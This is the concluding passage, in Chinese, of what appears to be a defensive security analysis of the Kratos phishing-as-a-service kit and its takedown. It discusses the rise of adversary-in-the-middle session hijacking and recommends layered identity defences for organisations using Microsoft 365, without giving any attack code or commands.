Kratos 套件的出现与全域关停事件清晰反映出当前网络钓鱼攻击的核心转型趋势：攻击从零散个人行为转向标准化、产业化跨境黑产服务，防护重心从传统账号密码拦截转向会话劫持、中间人代理类新型身份威胁。传统依靠单一 MFA、域名黑名单的防护体系已无法适配当前攻击技术迭代速度，企业与网络安全监管机构必须同步推进身份认证底层架构升级、全链路流量动态检测、内部安全运营规范落地、跨国执法协同治理。

本文依托完整官方取证材料完成实证分析，配套可落地的恶意代码检测脚本、分层防御配置方案，可为国内部署 Microsoft 365 云办公系统的制造、零售、医疗类政企单位提供身份安全加固参考，同时为网络安全威胁溯源、跨境网络犯罪监管研究提供完整实证案例支撑。面对持续迭代的 AiTM 中间人钓鱼技术，安全防护体系需保持动态迭代思维，持续追踪 PhaaS 黑产技术与商业模式演化，构建多层次、闭环式全域网络身份安全防护能力。

编辑：芦笛（公共互联网反网络钓鱼工作组）